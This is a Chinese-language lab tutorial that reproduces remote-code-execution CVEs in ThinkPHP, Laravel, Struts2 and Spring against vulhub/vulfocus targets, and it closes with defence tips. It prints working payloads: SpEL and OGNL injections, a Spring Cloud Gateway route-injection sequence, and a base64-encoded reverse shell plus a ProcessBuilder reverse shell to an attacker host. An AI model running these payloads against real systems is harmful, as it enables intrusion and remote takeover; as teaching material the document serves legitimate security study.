框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现
字数 2206 2025-08-10 08:54:01

框架安全漏洞复现教学文档

1. PHP框架安全漏洞

1.1 ThinkPHP漏洞

1.1.1 ThinkPHP-3.X RCE

漏洞描述
ThinkPHP 3.X版本存在远程代码执行漏洞,攻击者可通过特定参数构造恶意请求执行任意代码。

复现步骤

  1. 开启vulfocus靶场环境
  2. 访问目标URL
  3. 使用以下payload进行命令执行:
    http://target-ip:port/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_10_26.log
    
  4. 获取shell:
    • 找到路径后直接getshell
    • 使用蚁剑连接

日志泄露

http://target-ip:port/Application/Runtime/Logs/Admin/23_10_26.log

1.1.2 ThinkPHP-5.X RCE

漏洞描述
ThinkPHP 5.X版本由于框架错误处理控制器名称,导致远程代码执行漏洞。

复现步骤

  1. 开启vulhub靶场环境
  2. 访问目标URL
  3. 使用工具检测(如GitHub上的相关工具)
  4. 输入漏洞编号进行利用
  5. 执行命令或获取shell
  6. 使用蚁剑连接

特征识别

  • "十年磨一剑"是ThinkPHP的特征之一
  • 微笑的笑脸图标

1.2 Laravel漏洞

CVE-2021-3129 RCE

漏洞描述
Laravel开启Debug模式时,Ignition组件对文件操作函数的不安全使用导致Phar反序列化漏洞,最终造成远程代码执行。

复现步骤

  1. 开启vulfocus靶场环境
  2. 访问目标URL
  3. 从GitHub搜索CVE-2021-3129获取EXP
  4. 执行EXP:
    python laravel-CVE-2021-3129-EXP.py http://target-ip:port
    
  5. 获取shell后使用哥斯拉连接

2. JavaWeb框架安全漏洞

2.1 Struts2漏洞

2.1.1 S2-009远程执行代码漏洞

漏洞描述
Struts2参数处理机制缺陷导致远程代码执行。

复现步骤

  1. 开启vulhub靶场环境
  2. 访问目标URL
  3. 使用工具检测(如GitHub上的相关工具)
  4. 一键利用执行命令

Struts2特征识别

  1. URL上有.action或.do后缀
  2. 追加actionErrors参数看错误回显
  3. 默认存在/struts/webconsole.html文件
  4. 抓包看Content-Type字段特征

2.1.2 CVE-2017-5638 (Struts2-045)

漏洞描述
Struts2 Jakarta Multipart parser存在缺陷导致远程代码执行。

复现步骤

  1. 开启靶场环境
  2. 访问目标URL
  3. 使用工具或EXP执行命令

2.1.3 CVE-2020-17530

漏洞描述
Struts2 OGNL表达式注入导致代码执行。

复现步骤

  1. 开启vulfocus靶场环境
  2. 访问目标URL
  3. 使用EXP:
    python struts2-061-poc.py http://target-ip:port "执行的命令"
    
  4. 反弹shell:
    python2 S2-061-shell.py http://target-ip:port
    

2.1.4 CVE-2021-31805

漏洞描述
Apache Struts 2.0.0-2.5.29版本存在远程代码执行漏洞。

复现步骤

  1. 开启vulfocus靶场环境
  2. 从GitHub获取s2-062EXP
  3. 执行EXP

2.2 Spring框架漏洞

2.2.1 CVE-2018-1273 (Spring Data Commons)

漏洞描述
Spring Data Commons存在SpEL表达式注入漏洞,可执行任意命令。

复现步骤

  1. 开启vulhub靶场环境
  2. 访问目标URL(特征:小绿叶)
  3. 注册用户时抓包
  4. 修改数据包:
    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
    
  5. 反弹shell(需URL编码):
    bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    

2.2.2 CVE-2017-4971 (Spring WebFlow)

漏洞描述
Spring WebFlow 2.4.x版本数据绑定时的field控制导致SpEL表达式注入。

复现步骤

  1. 开启vulhub靶场环境
  2. 访问http://target-ip:8080/login并使用给定账号登录
  3. 访问酒店预订页面
  4. 点击"Book Hotel"并填写信息
  5. 抓包添加反弹shell payload(需URL编码):
    _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/attacker-ip/port 0>&1")).start()=vulhub
    

2.2.3 CVE-2022-22963 (Spring Cloud Function)

漏洞描述
Spring Cloud Function SpEL表达式注入导致远程代码执行。

复现步骤

  1. 开启vulhub靶场环境
  2. 访问目标URL
  3. 抓包添加恶意头:
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("执行的命令")
    
  4. 反弹shell(需URL编码)

2.2.4 CVE-2022-22947 (Spring Cloud Gateway)

漏洞描述
Spring Cloud Gateway Actuator API SpEL表达式注入导致远程代码执行。

复现步骤

  1. 开启vulhub靶场环境
  2. 访问目标URL
  3. 发送POST请求添加恶意路由:
    POST /actuator/gateway/routes/hacktest
    {
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}",
          "uri": "http://example.com"
        }
      }]
    }
    
  4. 刷新网关执行表达式:
    POST /actuator/gateway/refresh
    
  5. 查看执行结果:
    GET /actuator/gateway/routes/hacktest
    
  6. 删除恶意路由:
    DELETE /actuator/gateway/routes/hacktest
    
  7. 再次刷新网关

工具利用
使用SpringBootExploit工具直接检测和利用

3. 通用漏洞利用技巧

  1. 框架识别

    • 浏览器插件识别
    • 数据包信息分析
    • 默认文件/路径探测
    • 特征字符串识别
  2. 工具使用

    • GitHub搜索漏洞编号获取EXP
    • 使用成熟工具一键检测和利用
    • 注意工具兼容性问题
  3. 反弹shell技巧

    • 命令需进行base64编码
    • 注意URL编码要求
    • 根据Content-Type决定编码方式
  4. 漏洞验证

    • 创建测试文件(如/tmp/success)
    • 执行简单命令(如id、whoami)
    • 检查环境变量和进程

4. 防御建议

  1. 及时升级框架到最新版本
  2. 关闭不必要的调试模式
  3. 限制Actuator等管理端点的访问
  4. 使用WAF防护常见攻击
  5. 定期进行安全审计和漏洞扫描
框架安全漏洞复现教学文档 1. PHP框架安全漏洞 1.1 ThinkPHP漏洞 1.1.1 ThinkPHP-3.X RCE 漏洞描述 : ThinkPHP 3.X版本存在远程代码执行漏洞,攻击者可通过特定参数构造恶意请求执行任意代码。 复现步骤 : 开启vulfocus靶场环境 访问目标URL 使用以下payload进行命令执行: 获取shell: 找到路径后直接getshell 使用蚁剑连接 日志泄露 : 1.1.2 ThinkPHP-5.X RCE 漏洞描述 : ThinkPHP 5.X版本由于框架错误处理控制器名称,导致远程代码执行漏洞。 复现步骤 : 开启vulhub靶场环境 访问目标URL 使用工具检测(如GitHub上的相关工具) 输入漏洞编号进行利用 执行命令或获取shell 使用蚁剑连接 特征识别 : "十年磨一剑"是ThinkPHP的特征之一 微笑的笑脸图标 1.2 Laravel漏洞 CVE-2021-3129 RCE 漏洞描述 : Laravel开启Debug模式时,Ignition组件对文件操作函数的不安全使用导致Phar反序列化漏洞,最终造成远程代码执行。 复现步骤 : 开启vulfocus靶场环境 访问目标URL 从GitHub搜索CVE-2021-3129获取EXP 执行EXP: 获取shell后使用哥斯拉连接 2. JavaWeb框架安全漏洞 2.1 Struts2漏洞 2.1.1 S2-009远程执行代码漏洞 漏洞描述 : Struts2参数处理机制缺陷导致远程代码执行。 复现步骤 : 开启vulhub靶场环境 访问目标URL 使用工具检测(如GitHub上的相关工具) 一键利用执行命令 Struts2特征识别 : URL上有.action或.do后缀 追加actionErrors参数看错误回显 默认存在/struts/webconsole.html文件 抓包看Content-Type字段特征 2.1.2 CVE-2017-5638 (Struts2-045) 漏洞描述 : Struts2 Jakarta Multipart parser存在缺陷导致远程代码执行。 复现步骤 : 开启靶场环境 访问目标URL 使用工具或EXP执行命令 2.1.3 CVE-2020-17530 漏洞描述 : Struts2 OGNL表达式注入导致代码执行。 复现步骤 : 开启vulfocus靶场环境 访问目标URL 使用EXP: 反弹shell: 2.1.4 CVE-2021-31805 漏洞描述 : Apache Struts 2.0.0-2.5.29版本存在远程代码执行漏洞。 复现步骤 : 开启vulfocus靶场环境 从GitHub获取s2-062EXP 执行EXP 2.2 Spring框架漏洞 2.2.1 CVE-2018-1273 (Spring Data Commons) 漏洞描述 : Spring Data Commons存在SpEL表达式注入漏洞,可执行任意命令。 复现步骤 : 开启vulhub靶场环境 访问目标URL(特征:小绿叶) 注册用户时抓包 修改数据包: 反弹shell(需URL编码): 2.2.2 CVE-2017-4971 (Spring WebFlow) 漏洞描述 : Spring WebFlow 2.4.x版本数据绑定时的field控制导致SpEL表达式注入。 复现步骤 : 开启vulhub靶场环境 访问http://target-ip:8080/login并使用给定账号登录 访问酒店预订页面 点击"Book Hotel"并填写信息 抓包添加反弹shell payload(需URL编码): 2.2.3 CVE-2022-22963 (Spring Cloud Function) 漏洞描述 : Spring Cloud Function SpEL表达式注入导致远程代码执行。 复现步骤 : 开启vulhub靶场环境 访问目标URL 抓包添加恶意头: 反弹shell(需URL编码) 2.2.4 CVE-2022-22947 (Spring Cloud Gateway) 漏洞描述 : Spring Cloud Gateway Actuator API SpEL表达式注入导致远程代码执行。 复现步骤 : 开启vulhub靶场环境 访问目标URL 发送POST请求添加恶意路由: 刷新网关执行表达式: 查看执行结果: 删除恶意路由: 再次刷新网关 工具利用 : 使用SpringBootExploit工具直接检测和利用 3. 通用漏洞利用技巧 框架识别 : 浏览器插件识别 数据包信息分析 默认文件/路径探测 特征字符串识别 工具使用 : GitHub搜索漏洞编号获取EXP 使用成熟工具一键检测和利用 注意工具兼容性问题 反弹shell技巧 : 命令需进行base64编码 注意URL编码要求 根据Content-Type决定编码方式 漏洞验证 : 创建测试文件(如/tmp/success) 执行简单命令(如id、whoami) 检查环境变量和进程 4. 防御建议 及时升级框架到最新版本 关闭不必要的调试模式 限制Actuator等管理端点的访问 使用WAF防护常见攻击 定期进行安全审计和漏洞扫描